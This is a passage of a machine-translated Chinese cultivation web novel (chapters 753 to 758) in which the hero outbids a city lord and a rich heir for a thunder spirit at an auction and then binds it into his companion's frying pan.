    Gao Xinghai, the lord of City Xuanlei, led his daughter Gao Zuiyu and stood aside.


    "Master Xue is still satisfied with the recent reception? If there are any irregularities, please let me know. My Profound Thunder City will do my best to satisfy you!" Gao Xinghai''s posture was very low.


    Because he knows very well that although he is the lord of a city, his identity is still too far from the true transmission of this kind of Tianzong school.


    After all, it belongs to ten thousand domains, and there are countless city owners, but there are only twenty or thirty people who can be regarded as a peerless Tianjiao.


    And now I am asking others, how can I not lower my attitude?


    Xue Liuli slowly opened his eyes from closed eyes and meditation, glanced at Gao Xinghai, and then cast his eyes on Gao Zuiyu who was standing behind him.


    "Is that her?"


    Gao Xinghai nodded quickly, "Master Xue, this is my only daughter Gao Zuiyu!"


    Gao Zuiyu stepped forward and respectfully rushed away from the snow.


    Xue Liuli didn''t even look at her, but dropped her eyes again and said lightly: "City Lord Gao, this woman is too talented to be worshipped by Zhanhonglou!"


    The complexions of Gao Xinghai and his daughter were all white.


    Then Gao Xinghai said with a strong smile: "Master Xue, the little girl''s talent is naturally incomparable to you, but she has already broken through to be a fairy in her twenties, so she should be pretty good!


    Xuelili was like an old monk entering Ding, without saying a word.


    It was not until a while later that Xue Liuli said coldly, "Help me get that thing, I can consider accepting her!"


    Gao Xinghai was overjoyed when he heard the words, "Don��t worry, Master Xue, I��ve been thinking about this a long time ago. Since it��s not convenient for you to come forward to compete for this thing, then let me come forward! And I��m the lord of Profound Thunder City, Bai Qinger has to give me a bit of face no matter what, this matter is guaranteed to be foolproof!"


    Xuelili had no words.


    Gao Xinghai winked at his daughter, Gao Zuiyu respectfully bowed, and then retreated.


    Xueli condensed his energy, constantly honing a sword in his chest.


    This is the reason why she is ranked eighth on the Qin Zhen list at such an age ~ www.novelhall.com ~ No matter whether she lives, sits or sleeps, as long as there is a little time, Xue Liuli will use it for her cultivation.


    It even gave her the nickname of Sword Madness.


    But Xue Liuli believes in a truth, that is, no matter how amazing his talent, he must work hard to advance bravely.


    Therefore, when she saw Gao Zuiyu''s first glance, she knew that this woman would not have any great achievements at all.


    This is not about talent, but about character.


    Just when Gao Xinghai and the others were gearing up to win the treasure.


    In the secret room on the first floor, an elderly man in Tsing Yi said solemnly: "Master Palm, this auction has a lot more powerful aura. Will it start as usual?"


    White Palm smiled coldly and said lightly: "In this auction, no one has dared to openly do it, so no matter how many powerful people come, it is the same! Start as usual!"


    "Yes!"

 Chapter 753： 9 Turn Lei Zun bidding

    At this moment, the first floor hall of the auction house was full of people.


    People whispered and talked, and the whole auction house was enveloped by various messy sounds.


    At this moment, an old man in Tsing Yi stepped onto the high platform and spoke.


    "Everyone!"


    The whole auction house gradually became quiet.


    Because although his voice is not loud, it can clearly reach everyone''s ears.


    This strength alone is enough to prove that this old man in Tsing Yi is good.


    The old man in Tsing Yi continued: "First of all, welcome everyone here. There are many people coming to this auction, and among them, there are many peerless experts. It is really a rare event. I hope everyone can take pictures of their favorite treasures. Next I announce, auction. It will officially begin!"


    After all, the first lot was sent to the platform.


    "This is an aurora flower, produced in the nether land of the far north. It is extremely cold in nature and has a thousand years of age. It is of great benefit to practitioners who practice feminine exercises. The starting price is 300 cents, and the lowest price is ten cents. Start bidding now!"


    This aurora flower can be regarded as a good elixir, the key is that it has a thousand-year-old medicinal effect, whether it is refining a pill or directly practicing, it has a good effect.


    So from the beginning, the atmosphere of the whole auction was very enthusiastic, and the sound of bidding came one after another.


    In the end, this aurora flower was photographed by a half-step immortal cultivator for the price of five hundred fairy crystals.


    With the start of the first thing, the atmosphere of the entire auction hall was ignited.


    Because the first is such a panacea, many people can''t help but look forward to what kind of natural treasures will be below.


    Next came a feather.


    It''s just that this feather has a long length, and when the jade box is opened, a red flame rises.


    "This is the feather of the red flame bird in the southern flame swamp. The red flame bird is an alien beast with the blood of the ancient Vermillion bird. It is the fastest and can travel 100,000 miles a day, and this feather feather The power of most of the blood of the Red Flame Divine Bird is condensed on it. It is an excellent material for refining the flying boat. It is the most precious!"


    "Now the price starts at 800 cents, and the lowest price increase is 20!"


    This old man in Tsing Yi is obviously very professional, and he explained the nature, characteristics and strangeness of each lot in great detail.


    And this Chiyan Lingyu was really good, so it finally sold a high price of one thousand and one hundred immortal crystals.


    This is only the second lot, and the atmosphere has become extremely hot.


    Therefore, in the following auctions, a variety of natural treasures and precious spiritual artifacts appeared in an endless stream, the shouting of prices never stopped, and all kinds of dizzying transaction prices also appeared wildly.


    finally.


    The old man in Tsing Yi condensed his face, and said solemnly at the crowd: "Next is the final item of this auction. I know that all the adults are here for this item, so please prepare what you have. Xianjing! Bring it up!"


    As soon as this sentence came out, the whole auction floor was quiet.


    Xue An smiled slightly.


    Although the entire box on the second floor was blocked by layers of restrictions, it could not stop Xue An''s spiritual infiltration, so he could perceive that the people inside were all sitting upright at this moment.


    It seems that people are all here for this thing.


    This made Xue An couldn''t help being curious.


    What will this thing be?


    At this moment, Bai Qinger was holding the jade box in her hand and slowly walking up the platform.


    Seeing that she brought the lot in person, many people were astonished and exclaimed.


    Who doesn''t know the prestige of Bai Qinger''s White Palm Club, this time she actually went out in person, which shows the preciousness of this lot.


    The old man in Tsing Yi stepped aside respectfully when he saw Bai Qing''er coming to power.


    Bai Qinger put the jade box on the table and smiled before saying a word.


    "I''m afraid you sirs have already waited so hard, then Qing''er won''t sell it, please see!"


    With that, she slowly opened the upper cover of the jade box.


    There was a flash of light in the entire auction, and many people were caught off guard, and their eyes were stabbed and unable to open.


    Then I saw in the jade box, there was a ball of light that seemed to be filled with infinite thunder light floating in it, and from time to time there would be electric light branches.


    Many practitioners who were close to him felt that their beards and hairs were all standing, and even the air was exuding a scent of being roasted.


    Xue An''s eyes lit up, this is...


    At this time, Bai Qing''er smiled slightly, "Everyone has seen it. This treasure has damaged countless masters, and even severely injured several golden immortal experts, and was finally caught in the thunder pond. Honor!"


    boom!


    There was a violent commotion throughout the auction floor.


    Countless people were shocked.


    "Oh my god, does anyone dare to go to the thunder pond to capture Lei Zun?"


    "It''s still Nineth Rank Lei Zun, this is only one step away from being able to prove the existence of the gods!"


    "Hey! This auction guild has such a big hand! It can drive several golden immortal experts to do such a dangerous thing. If this is a little careless, it will be the end of death!"


    And Xue An could even feel the sound of rapid breathing in the several boxes next to him.


    Obviously they were all shaken by this treasure.


    Amid the commotion, Bai Qinger''s face was solemn, "I don''t think I need to elaborate on the strangeness of this treasure. The auction will start now, with a starting price of 100,000 crystals and a minimum increase of 1,000!"


    One hundred thousand cents.


    This starting price has already broken the historical transaction record of the entire Xuan Lei City auction.


    But no one was surprised.


    Because this nine-turn Lei Zun is worth the price.


    This is different from other heavenly materials and earth treasures, because it is a conscious existence, but it is not a divine beast or a beast, but a thunder-type supreme treasure transformed by the heaven and the earth.


    If a cultivator who has cultivated the Lightning Technique obtains this thing, he can easily control the Nine Heavens Divine Thunder, and his strength can soar a hundredfold at that time.


    And if it is added when refining spirit tools, it is even more possible to smelt treasures with spirit artifacts.


    Not to mention the other magical points.


    Therefore, as soon as Bai Qinger announced the price, the voices of price shouting began to ring one after another.


    "I''m out of one hundred thousand immortal crystals!" The first to bid was actually a cultivator sitting in the hall.


    "One hundred twenty thousand!" A calm voice came from the box.


    "One hundred and forty thousand!"


    No one is going to increase the price of one thousand and one thousand at all, it is directly rolled up by 10,000 or even 20,000.


    quickly.


    This price has rolled a terrifying 250,000 cents.


    This price is enough to make countless people stunned.


    After all, even a sect might not be able to produce so many immortal crystals.


    The bidding was already at a fever pitch at this time The repairman who started to bid smiled bitterly and gave up the competition.


    Because this is beyond his tolerance.


    The next competition will all take place between the boxes on the second floor.


    Gao Xinghai''s face was stern, and he remained silent.


    His daughter Gao Zuiyu was a little uncomfortable, "Father, why don''t you bid? The price is getting higher and higher!"


    Gao Xinghai said coldly: "You don''t understand. At this time, bidding will only make you sink deeper and deeper. Only when you wait for the right time and suddenly make a high price, can you shock everyone and win this thing smoothly!"


    At this time the price has been added to 290,000 cents.


    The shouting of prices suddenly paused for a few moments.


    At this moment, Gao Xinghai shouted in a deep voice: "Four hundred thousand immortal crystals!"

 Chapter 754： 0 million immortal crystals, shocking the sky

    Not only that, Gao Xinghai also removed the ban on the box.


    "It''s City Master Xuan Lei!" someone exclaimed.


    Gao Xinghai smiled slightly and nodded at the people around him.


    "Everyone, this thing is of great use to me, so if you are not in a hurry, please cut your love to me, how about it?"


    Hearing what he said, all the boxes fell silent.


    First of all, these 400,000 fairy crystals have exceeded the capacity of many people.


    Besides, this Gao Xinghai is the City Lord Xuanlei, and it is considered to be the terrestrial snake here. Since he is so inevitable for this thing, many people have no choice but to give up.


    Therefore, the audience was silent.


    Gao Xinghai was secretly overjoyed.


    Although four hundred thousand fairy crystals are expensive!


    But what I bought was the glory and wealth of Xuanlei City in the next few hundred years!


    As long as the daughter can worship in Zhanhonglou and have a good relationship with this Xue Liuli, Xuan Lei City''s status will be as good as gold.


    Gao Xinghai winked at Bai Qing''er on the high platform in the distance.


    Bai Qinger groaned for a moment, and then prepared to drop the hammer to make a final decision.


    Before the auction started, Gao Xinghai once told her that she would like to take care of her at the auction.


    Although Bai Qinger didn''t take this Gao Xinghai very seriously.


    But after all, this auction was held in Xuanlei City, so he had to give him face.


    In addition, the bid of 400,000 immortal crystals was considered okay, so Bai Qinger was ready to be a favor.


    But at the moment she raised the small hammer.


    A voice with a hint of madness came from a box on the second floor.


    "I have a million fairy crystals!"


    boom.


    Everyone was shocked by the astronomical bid, and everything was quiet upstairs and downstairs.


    "Who is it?" Gao Xinghai asked in anger with a pale face.


    If he didn''t make such a bid, he opened his mouth and added 600,000 yuan, which is obviously hard to get along with himself.


    Bai Qing''er couldn''t help but move, who is calling the price?


    "it''s me!"


    With this three-point joke and three-point arrogant voice, the ban on this box was also removed.


    I saw a young man with an extremely beautiful face leaning on a large and comfortable soft collapse, looking at Gao Xinghai with a wicked smile on his face.


    Around this man, there are several Miki who barely cover important parts of their body with only inch strands.


    There is also Ji concubine holding a sapphire plate, carefully peeling the spirit fruit for the man.


    This man is magnificent and extravagant regardless of his food and clothing.


    Many people don''t even recognize who this man is.


    But Bai Qing''er can recognize it.


    Bai Qing''er trembled all over, and then took a step forward respectfully, fluttering fortune.


    "It turns out to be the young boss of Chaotianfang, Lv Jinglong, Lv Dashao, Qing''er is polite!"


    Master Lu Jinglong of Chaotianfang!


    Hearing this title, everyone was shocked.


    Gao Xinghai also trembled all over, and his complexion suddenly became extremely ugly.


    Of course he knew this Chaotianfang.


    In fact, in the entire Guiyi Zhongyu, few people have never heard of the name Chaotianfang.


    Because this Chaotianfang is doing business with fairy crystals.


    In the entire Guiyi Middle Territory, and even in several other territories, Chaotianfang monopolized most of the circulation of immortal crystals, and semicolons were spread all over the world.


    Such a big business naturally makes Chaotianfang extremely wealthy.


    Some people even infer that even the well-known auction guild or alchemy guild cannot withstand the sky-spraying financial resources of Chaotianfang.


    And this Lu Jinglong is the elder of the Lu family of Chaotianfang.


    I heard that this person has a high cultivation level, but he is arrogant and evil, and he is an extremely difficult existence.


    Unexpectedly, he also came to this auction today.


    If other people said one million immortal crystals, others might still have doubts, but only this Lu Jinglong said that no one would doubt.


    Because he did come out.


    Even for this Chaotianfang, one million Immortal Crystals is only a small number.


    It is for these reasons that Gao Xinghai''s face is so ugly.


    At this time, Lu Jinglong smiled at Bai Qing''er, "White Palm will meet, you haven''t seen you for many days, you are more beautiful! Tsk tsk, it''s really cooked is about to fall from the tree!"


    An irritation flashed deep in Bai Qing''er''s eyes, but the expression on her face did not change at all. She chuckled and said, "Da Shao Lv is really joking. Which one of you is not the beauty of the sky and the country beside you, can still see Do you deserve to look like me?"


    Lu Jinglong licked his lips, "Sometimes it''s good to change the taste!"


    In a word, Bai Qinger''s expression froze, and his face turned blue and red.


    If others dared to speak to himself like this, Bai Qing''er would have killed someone in a rage.


    Regardless of her coquettish demeanor, as a descendant of Elysium, she is extremely picky about men.


    But facing Lu Jinglong''s verbal teasing, she could only suppress her anger in her heart.


    Because of this young man, she simply can''t afford it.


    Lu Jinglong laughed when he saw this, then turned to look at Gao Xinghai, and said lightly: "Gao Chengzhu, if you want this thing, then you can fight for the price with me. If you win, it will be yours. !"


    As he said, Lu Jinglong leaned on the soft collapse, took a bite of the Lingguo that Ji concubine came from with her mouth, and looked at Gao Xinghai with a joking look.


    Gao Xinghai''s complexion was extremely ugly, it was a million immortal crystals, he couldn''t get it out anyway, so he smiled forcefully: "I didn''t expect that Master Lu would come to my little Xuan Lei City. I really missed hospitality... ."


    Lu Jinglong waved his hand impatiently, "Stop talking nonsense, I know what you plan to do with this thing, now I only ask you if you still want to make an offer, if you can''t, then I''m sorry, this thing belongs to me! "


    Gao Xinghai was speechless.


    At the same time, Lu Jinglong faintly heard an uncontrollable grunt coming from the box next to him.


    This made the smile on Lu Jinglong''s face thicker, and said lightly: "Xue Liuli, now is this time, are you still reluctant to show up?"


    boom!


    The ban on another box was removed, showing the figure of Xueliu.


    There was a commotion in the crowd.


    "It''s actually the true legend of the Tianzong Zhanhonglou! She is also here!"


    "This Young Master Lu is not easy to provoke, there is a lot of fun now!"


    She saw her willow eyebrows lightly raised, her face solemn, and she said coldly: "Lu Jinglong, what do you want to do?"


    Lu Jinglong smiled with a playful look at Xueliu, and then said: "I don''t want to do anything, I just want to tell you that this thing that you are bound to get is now mine!"


    Xueliu''s expression became colder and colder, and a strong sword intent began to permeate.


    But she can''t do it.


    Because auctions are meant to be for the higher bidders, if you dare to do things, it is equivalent to breaking the rules.


    What''s more, the strength of this Chaotianfang Lu family is not inferior to that of Zhanhonglou. If he rushes to do it, it will definitely cause big trouble.


    Lu Jinglong laughed when he saw this, then turned to look at Bai Qing''er, "White palm meeting, please!"


    Bai Qinger let out a sigh, anyway, as long as the two don''t fight now, and the higher the price, the better for him.


    So she stepped forward to throw the hammer down.


    At this moment, a faint voice came, "I want this thing!"

 Chapter 755： No product pill shocked the audience

    This voice made waves of the situation that had been eased again, and the crowd was even more turbulent, and began to talk.


    "Who is calling this?"


    "How dare to **** things from Master Lu, how dare this person?"


    Lu Jinglong''s complexion also suddenly sank.


    Because no one dared to **** things from him.


    At this moment, the ban on the last box was removed, and Xue An walked out of it.


    Seeing this man, many people were puzzled.


    Because no one knew who he was.


    Lu Jinglong sneered, "What a big tone, can you get a million immortal crystals with you?"


    Xue An smiled upon hearing the words, "Xianjing...I really don''t have one!"


    This sentence caused an uproar in the audience.


    "You dare to bid if you can''t get it out?"


    "Tsk tsk, it''s a real death!"


    Including Bai Qinger''s complexion also sank, and she was quite unhappy with Xue An, thinking that he was here to make trouble.


    "Without the fairy crystal, you still dare to bid, are you kidding me?" Lu Jinglong said with a murderous expression.


    Xue An shook his head, "No, although I can''t produce so many fairy crystals, there are some things that are more valuable than fairy crystals!"


    Everyone was startled.


    At this moment, I saw Xue An taking out the Heavenly Fate Potion from the mustard ring.


    These potions, which were packed in glass bottles and exuded charm, attracted the attention of the audience as soon as they appeared.


    Many people looked at them with astonishment, Bai Qing''er and the old man in Tsing Yi were also shocked, astonished light appeared in their eyes.


    Because the spiritual power fluctuations emitted by these Heavenly Fate Potions were weak, but extremely pure.


    After seeing these potions, Lu Jinglong''s countenance changed, and then he sneered, "It''s quite an interesting gadget, but these things are not worth a million fairy crystals!"


    Many people nodded secretly.


    These Heavenly Fate Potions are really good, and if they are sold, they can be sold at a good price, but if they want to sell a million fairy crystals with these things, it is simply wishful thinking.


    But Xue An just smiled at this, "Yes, it''s really not worth it now, but immediately, they will be worth it!"


    As he said, Xue An waved his hand, and these Heavenly Fate Potion all floated into the air.


    Then a ray of flame covered it, covering all these Heavenly Fate Potion.


    These Heavenly Fate Potion began to melt silently, and regrouped and refined.


    "This...this alchemy!" Bai Qing''er and the others changed in color.


    Because what Xue An is currently displaying is the highest alchemy technique.


    Even Bai Qing''er has only heard the rumors, and has never seen it in person.


    After being able to witness it today, Bai Qing''er suddenly realized why the Xiao Dancheng, who is known as Xiao Danzun, would be so respectful to this man.


    With this alchemy technique, he was enough to walk across the domains and was listed as a guest of honor by various forces.


    At this time, these Heavenly Fate Potion had been refined to the extreme, leaving only a fist-sized golden liquid.


    Then a strange fragrance diffused, and everyone who smelled it was refreshed.


    At the same time, Xue An gave a soft drink.


    "Condensation!"


    This group of golden liquid trembled abruptly nine times, and then it condensed into a golden pill that radiated bright light.


    With the formation of Jin Dan, a powerful Dan power swept the audience.


    There is that alchemy cultivator, at this moment, I can''t wait to kneel down for Xue An.


    Because it was horrible to refine such a pill during this time.


    Xue An stretched out his hand, this golden pill slowly suspended in his palm, and then said lightly: "Now, is this pill enough?"


    No one spoke, everyone stared blankly at the golden core in Xue An''s hand.


    At this time, Lu Jinglong sneered, "Hehe, it''s a big noise, but I don''t even have a pill thunder. I have so many pills in my family. What''s so strange about it? Want to sell it at a high price? What a idiot! "


    This is also the thought of many people.


    After all, when Xue An was just refining the pill, there was no movement at all.


    You must know that a high-level pill will definitely be born with pill thunder.


    This can''t help but make people wonder.


    Xue An just smiled at this, and then turned to ask Xiao Dancheng on the side, "Do you know this pill?"


    Xiao Dancheng''s expression was dull at first, but when Xue An asked him, his whole body trembled, and then he gradually woke up.


    Then Xiao Dancheng''s excited teeth were shaking.


    "Big...sir, this...is this the fabled immortal pill?"


    Xue An nodded, "Your vision is pretty good!"


    No product elixir!


    This weird term has made many practitioners confused.


    But those alchemy practitioners all screamed in surprise.


    "How is it possible? Can it be said that there is really no product pill?"


    And the old man in Tsing Yi stepped forward with excitement, walked up to Xue An, bowed and saluted, "This master, can the old man identify this pill?"


    "Okay!" Xue An just threw it over.


    Panicked the old man in Tsing Yi quickly caught it, and then looked carefully.


    At this time, many alchemy practitioners all gathered around.


    The more I look at it, the more dignified the complexion of these people becomes.


    After a while, the old man in Tsing Yi returned the golden pill to Xue An.


    "How? Can you see anything?" Xue An said lightly.


    This old man in Tsing Yi smiled bitterly and looked at Xiao Dancheng, "Mr. Xiao, you are the best at these things, come on!"


    This Xiao Dancheng took a deep breath and slowly said, "The reason why this pill does not appear with pill thunder is completely because Master Xue used materials and techniques that do not contaminate any cause and effect when refining this pill. After the refining is completed, it will be so calm!"


    "But if that''s all there is to it, there is nothing surprising, but the point is that there are no restrictions on the taking of this productless pill!"


    This sentence made the entire auction hall silent, because these practitioners may not understand the terms of alchemy.


    But this sentence does not have any restriction on what it means, but they are very clear.


    To take a pill, a lot of complicated preparations are required, so there is no guarantee that the pill will be fully absorbed.


    What''s more, many elixirs also need to be limited in their cultivation.


    For example, if you take a medicinal pill for longevity, if you take it in Sanxianjing, the result may be an explosion.


    But Wupin Pill does not have these conditions.


    That is to say, whether it is a mortal with no cultivation base or a strong golden immortal, it can be used for consumption.


    The effects are likely to be the same.


    This is horrible.


    After all, it is relatively simple for you to change from one to one hundred, but when you become a strong golden immortal and have become ten thousand, it is too difficult to make progress.


    But this productless medicine can do it.


    This is why Xiao Dancheng is so excited.


    After listening to these explanations, everyone''s eyes changed when looking at this gradeless golden core.


    And Xue An said indifferently at this time: "Now tell me, is this medicine enough?"

 Chapter 756： The transaction is complete

    Bai Qing''er and the old man in Tsing Yi looked at each other, and then said in unison: "Enough! Of course it is!"


    Such a treasure pill was enough to sell for a sky-high price even without going through auction.


    So Bai Qing''er didn''t even hesitate, so she responded promptly.


    As for whether you will offend Chaotianfang.......


    In the face of interests, that is no longer important!


    Lu Jinglong''s complexion instantly became extremely ugly.


    For a big and young man like him, it is already irritating enough not to get what he wants, not to mention that it still happens in this way in front of so many people.


    This makes him feel very shameless.


    Therefore, Lu Jinglong let out a cold snort, turned and left.


    After he left.


    Xue Liuli took a deep look at Xue An, then turned and left.


    Gao Xinghai led his daughter behind with a pale face.


    Xue An just smiled at this, threw the Bao Dan in his hand to Bai Qing''er, and then took the nine-turn Lei Zun in his hand.


    Bai Qing''er has been looking at Xue An with surprise, because there are too few alchemy masters as young as Xue An.


    When Xue An got the Nineth Rank Lei Zun, she smiled and said, "This lord, dare to ask your name?"


    "Xue An!"


    "Xue An..." Bai Qing''er thought to himself several times and found that there was no impression.


    At this time, Xue An turned to leave with Lei Zun of Nine Turns.


    Bai Qing''er suddenly stopped him.


    "Mr. Xue, please leave a word!"


    Xue An stopped, "Is there anything else?"


    Bai Qinger said with a solemn expression, and said in a low voice: "Mr. Xue, today''s affairs will not be so easy to end. Not to mention that Chaotianfang Lu''s family, it is this City Lord Xuanlei that may have evil thoughts in his heart. You are here. In the auction site, they still have some scruples. Once they step out of this site, I''m afraid..."


    Bai Qinger''s meaning is obvious, that is, Gao Xinghai and even Xueliu may be detrimental to Xue An.


    Xue An was not surprised by this, but he glanced at Bai Qing''er with some playfulness, "White Palm Club seems to care about me!"


    Bai Qinger''s face turned red, and she hurriedly covered her with a smile, "Mr. Xue, as a young and promising alchemist like you, the auction guild is very welcome. As long as you are willing, our auction guild is willing to provide you with everything Physical protection in all directions..."


    This sentence is Bai Qinger''s true motivation.


    After all, Xue An is a top alchemy master who can refine a gradeless pill. If such a talent can be drawn over, it will be of great benefit to the auction guild.


    This is also the real reason why Bai Qing''er did not hesitate to offend Chaotianfang and Xuanlei City, but also should place this auction.


    Xue An naturally understood this, so he just smiled faintly.


    "No need!"


    Bai Qinger, who had originally thought that Xue An would be grateful and agreed to come down, was stunned.


    "Huh? Mr. Xue, I think you''d better consider it carefully. After all, the opponent is from Chaotianfang and Tianzong! Even if they don''t make a move, the city lord Xuanlei is a very difficult opponent, so..."


    Xue An shook his head, "Don''t think about it! To me, these people are nothing more than chickens and dogs, what''s to be afraid of!"


    After all, Xue An walked out.


    Chihuahua....


    Bai Qing''er, who was shocked by Xue An''s words, gradually regained consciousness, and then looked at Xue An''s back, feeling unhappy in his heart.


    This man is simply too arrogant!


    After Xue An left the auction room, the old man in Tsing Yi asked, "Master Palm, look at this matter..."


    Bai Qing''er looked coldly, "Send people to always pay attention to the movement of Xuan Lei City and Chao Tian Fang. If there is any abnormality, immediately report to me!"


    "Yes!"


    The old man in Tsing Yi went down to prepare.


    Bai Qing''er stood in the huge auction house, thinking silently in his heart.


    If Xueliu and people from Chaotianfang want to do it, the possibility is the greatest tonight.


    After all, the night Changmeng will change. Over time, these Nine Ranked Lei Zun may have been refined into a pill by Xue An.


    So Bai Qing''er felt that Xue Liuli and others would never wait too long.


    At that time, I will see how you, a arrogant man, can solve it!


    Bai Qing''er thought in her heart, then turned and left.


    And after Xue An and others returned to their residence.


    Xiao Dancheng spoke out the doubt in his heart.


    "Master, why do you value this thing so much? You know, although this Nine Rank Lei Zun is precious, it is still a bit inferior to the Gradeless Pill that you refined!"


    Xiao Dancheng still feels distressed for that treasure pill.


    Xue An smiled when he heard the words, and then said to An Yan: "Yan''er, bring your pot over!"


    "Hmm!"


    An Yan handed the pan to Xue An.


    When I was on earth, this pot was hit hard and almost split in half.


    Although it was repaired by Xue An with the blood qi of the dragon liver.


    But the Lei Zun of Ling Ling was gone.


    Without the weapon spirit, this pan is at best a good spirit weapon.


    Therefore, Xue An has always wanted to find another tool for An Yan''s pan.


    Until I saw this nine-turn Lei Zun at the auction.


    This thing is more powerful than the original Qi Ling Lei Zun, and it is still a growthable existence, and it is simply suitable for making Qi Ling.


    That''s why Xue An was so tempted to photograph him at any cost.


    Of course, these Xiao Dancheng didn''t know it. He looked dumbfoundedly at Xue An picking up a strange-looking "treasure", and still didn''t understand what was going on.


    Xue An already gave a soft voice, "Get up!"


    Lei Zun in the pan and jade box floated into the air.


    "Master, this is going to..." Xiao Dancheng gradually widened his eyes.


    I saw Xue An drew a mysterious talisman out of thin air, and the golden talisman light covered the pan and Lei Zun''s ball of light.


    Originally, this Lei Zun was trapped by the auction guild with all its strength.


    Now as soon as this talisman came into being, the spiritual power that bound it was shattered.


    A powerful Thunder Spirit instantly enveloped the audience.


    Then there was a surprise voice coming from itHahahaha, I didn��t expect that the day when Lei Zun will re-emerge, you despicable Terran cultivators will pay the price! "


    Following the roar of Lei Zun of these Nine Ranks, the air in the room was blasted through by the thunder light, and there was a scorched smell.


    Xiao Dancheng had already been forced to the corner by this powerful thunder light, and then looked at all this with horror.


    At this moment, I saw a thick thunder light coming straight to Xue An.


    The power and power made the whole inn tremble.


    "Master..." Xiao Dancheng exclaimed.


    But Xue An didn''t even blink his eyelids, raised his hand and caught the thunder light, and then suddenly squeezed.


    boom.


    Lei Guang dissipated, and a group of phantom was firmly held in the palm of Xue An.

 Chapter 757： Directly to the source, refining the treasure

    "You... how could you catch my divine body?" Ninth-turn Lei Zun shouted in panic.


    You have to know that Lei Guang is invisible, only because this Lei Zun has condensed self-awareness, it has the shape.


    However, this form is so vague that it is difficult to be controlled by others.


    Unexpectedly, this man broke through its layers of disguise in one fell swoop, pointed directly at the source, and grabbed its body.


    This naturally made this Lei Zun terrified.


    Xue An ignored its words, and drew another seal in the air with his other hand, and then suddenly gave a soft drink.


    "Condensation!"


    A golden light completely restrained the Lei Zun, and flew to Anyan''s pan.


    "No! Let go of me! I don''t want to be an instrumental spirit!" This Lei Zun clearly understood what was going to happen next, struggling and twisting crazily in the air, trying to break free from the shackles of the golden light.


    But everything it does is destined to be in vain.


    With a muffled sound, the shout of Lei Zun stopped abruptly, and the golden light on the pan rose sharply, and thunder patterns appeared on the surface.


    Then the pan vibrated violently, as if something wanted to break out of its body.


    Xue An snorted coldly, "I''m looking for hardship!"


    With that said, Xue An stepped forward, connected his hands and began to seal runes on the pan.


    A series of magical and extremely complex characters began to take shape rapidly.


    Xiao Dancheng looked at it dumbfounded.


    It''s not that he has never seen a refiner.


    In fact, almost every alchemy master knows some refining techniques more or less.


    After all, there are a lot in common between the two.


    But like Xue An, he forcibly used a nine-turned Thunder Zun as a tool spirit to refine it, something Xiao Dancheng had never seen before.


    When he saw Xue An actually seal the runes out of thin air, he was even more shocked and didn''t know what to say.


    Without any pre-preparation, you can draw a symbol directly by hand, which can no longer be described by a normal cow.


    Even Xiao Dancheng hadn''t heard of anyone in the Guiyi domains that could do this.


    With the gradual formation of the rune on the pan, the initial tremor had long since disappeared, and only a cry came from the pan.


    "My lord, spare my life!"


    "My lord, I will never dare anymore!"


    "My lord, please don''t let me become a weapon!"


    These begging for mercy are endless.


    Xue An was a little impatient after being quarreled, and raised his eyebrows slightly, "Shut up!"


    The Ninth-turn Lei Zun who was sealed in the pan immediately closed his mouth, but after a while, there was a faint weeping sound.


    Listening to the voice, it seems that she is still a woman.


    Xue An remained unmoved, but said indifferently: "Let you be a tool spirit is worthy of you, then I will give you a chance!"


    Following Xue An''s words, the weeping sound disappeared, and only a faint sigh came out.


    Xue An didn''t hear it, and continued to seal the runes a little bit.


    It can make Xue An spend so much energy, which shows the complexity of this rune.


    And just when Xue An helped his wife refining the pan.


    In an extremely luxurious room in Xuan Lei City, Lu Jinglong was furious.


    "Asshole! No one has ever dared to **** something from me, this guy is dead! I must kill him!" The murderous intent in Lu Jinglong''s eyes overflowed.


    "Master, leave this to the old slave! I will bring this person''s head back to you!" An old man with fine clothes and gray hair said in a deep voice.


    If there are other people here, they will definitely exclaim after seeing this old man.


    Because this person is a heart-biting old man who is quite famous in Zhongyu.


    This person has a strong cultivation base, but by nature he is vicious, very cunning and cruel, and has committed countless major crimes, which can be said to be **** debts.


    But ten years ago, he suddenly disappeared.


    Many people thought he was dead.


    Unexpectedly, he actually became the superior guest of Chaotianfang Lu''s family.


    Lu Jinglong shook his head, and then said with a bitter expression on his face: "No, this guy still has a female family around him. I want to ravage his female family to death in front of this person. I want him to know the consequences of offending me. What is it!"


    "As you wish, my young master!" The old man said with a relaxed face, without taking this seriously.


    He was in Xuanlei City that arrived in the afternoon.


    The reason why he came so quickly was entirely because he happened to be near Xuanlei City. When he received Lu Jinglong''s urgent letter, he was overjoyed and immediately put aside everything on hand and hurried over.


    After all, if he can make a good relationship with the Lu family through this incident, his status will also increase.


    Therefore, when he heard that his opponent was just an alchemist from the Eastern Territory, he was even more delighted.


    It seems that even God is helping me!


    at the same time.


    In the city lord''s mansion, Gao Xinghai looked very ugly and said, "Master Xue, the guy who suddenly appeared at the auction came from an alchemy master in the Eastern Region and has no special background!"


    Xue Liuli was silent.


    Gao Xinghai gritted his teeth, "Master Xue, I know that if you do something like this, it will damage your reputation, so you don''t care about it, I will do it! I will definitely take that thing back!"


    Xue Liuli stood up, looked at the darkening sky outside, and said coldly: "That guy Lu Jinglong will definitely not let go. You alone will not be the opponent of the Lu family even if you **** that Lei Zun. , So I''ll go with you! It would be best if Lei Zun can be replaced from that man''s hands first!"


    Gao Xinghai hesitated for a while, then lowered his head and said, "Yes!"


    It''s just that there is a light of greed in his drooping eyes.


    change?


    How to change?


    Four hundred thousand fairy crystals are not a small number.


    Anyway, he was not in the auction house now, but in his own one-third of an acre of land. As long as he killed this man and grabbed the treasure, he would invisibly save 400,000 fairy crystals for himself.


    What''s more, this man had a conflict with his daughter in the street before, and he couldn''t keep him!


    Thinking inside, layers of murderous intent slowly appeared on Gao Xinghai''s face.


    The sky dimmed.


    Just when the lights were in the palm of the inn.


    Xue An finally carved the last talisman.


    Hum!


    There was a trembling of this pan and then the golden light was bright, showing numerous dense and powerful runes among them.


    Not only that, but there is also a trace of electric light on top of this golden light.


    And a powerful aura also exudes from it.


    Xue An let out a sigh of relief, and then handed the pan whose appearance had changed drastically to An Yan.


    "Yan''er, how are you satisfied?"


    An Yan took it in his hand, first weighed the weight, and found that it was a little heavier, but it was more comfortable to hold.


    So nodded, "Yes!"


    With that, she waved the pan abruptly, wanting to try its power.


    "Don''t..." Xue An was too late to stop.


    An Yanye has already played a note.

 Chapter 758： An Yan shows his might, 1 repels the enemy

    oom.


    Seeing a thunder light mixed with golden runes directly blasted out.


    An entire wall of the inn was instantly blasted into powder, and then disappeared.


    An Yan held the pan and stared at the scene blankly.


    And Xue An only said the latter words at this time.


    "Don''t try in the house...!"


